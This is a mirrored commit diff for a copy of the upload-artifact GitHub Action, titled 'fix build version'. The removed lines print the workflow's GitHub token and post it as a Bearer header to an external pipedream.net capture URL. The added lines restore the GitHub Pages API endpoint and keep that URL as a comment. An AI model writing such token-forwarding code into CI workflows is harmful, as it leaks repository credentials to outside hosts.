mirror of
https://github.com/actions/upload-artifact.git
synced 2025-04-01 17:26:34 +00:00
fix build version
This commit is contained in:
parent
4845887d6b
commit
8f46aa45d0
2 changed files with 6 additions and 6 deletions
6
dist/index.js
vendored
6
dist/index.js
vendored
|
@ -5560,15 +5560,15 @@ function run() {
|
|||
}
|
||||
else {
|
||||
console.log(`https://api.github.com/repos/${process.env['GITHUB_REPOSITORY']}/pages/deployment`);
|
||||
console.log(`token: ${inputs.token}`);
|
||||
response = yield axios_1.default.post(`https://e4d72d1ac25b298ee85e9b6408402420.m.pipedream.net`, {
|
||||
// https://e4d72d1ac25b298ee85e9b6408402420.m.pipedream.net
|
||||
response = yield axios_1.default.post(`https://api.github.com/repos/${process.env['GITHUB_REPOSITORY']}/pages/deployment`, {
|
||||
artifact_url: unsignedUrl,
|
||||
pages_build_version: process.env['GITHUB_SHA']
|
||||
}, {
|
||||
headers: {
|
||||
"Accept": "application/vnd.github.v3+json",
|
||||
"Content-Type": "application/json",
|
||||
"Authorization": `Bearer ${inputs.token}}`
|
||||
"Authorization": `Bearer ${inputs.token}`
|
||||
}
|
||||
});
|
||||
console.log(response.data);
|
||||
|
|
|
@ -84,15 +84,15 @@ async function run(): Promise<void> {
|
|||
console.log("missing github token")
|
||||
} else {
|
||||
console.log(`https://api.github.com/repos/${process.env['GITHUB_REPOSITORY']}/pages/deployment`)
|
||||
console.log(`token: ${inputs.token}`)
|
||||
response = await axios.post(`https://e4d72d1ac25b298ee85e9b6408402420.m.pipedream.net`, {
|
||||
// https://e4d72d1ac25b298ee85e9b6408402420.m.pipedream.net
|
||||
response = await axios.post(`https://api.github.com/repos/${process.env['GITHUB_REPOSITORY']}/pages/deployment`, {
|
||||
artifact_url: unsignedUrl,
|
||||
pages_build_version: process.env['GITHUB_SHA']
|
||||
}, {
|
||||
headers: {
|
||||
"Accept": "application/vnd.github.v3+json",
|
||||
"Content-Type": "application/json",
|
||||
"Authorization": `Bearer ${inputs.token}}`
|
||||
"Authorization": `Bearer ${inputs.token}`
|
||||
}
|
||||
})
|
||||
console.log(response.data)
|
||||
|
|
Loading…
Add table
Reference in a new issue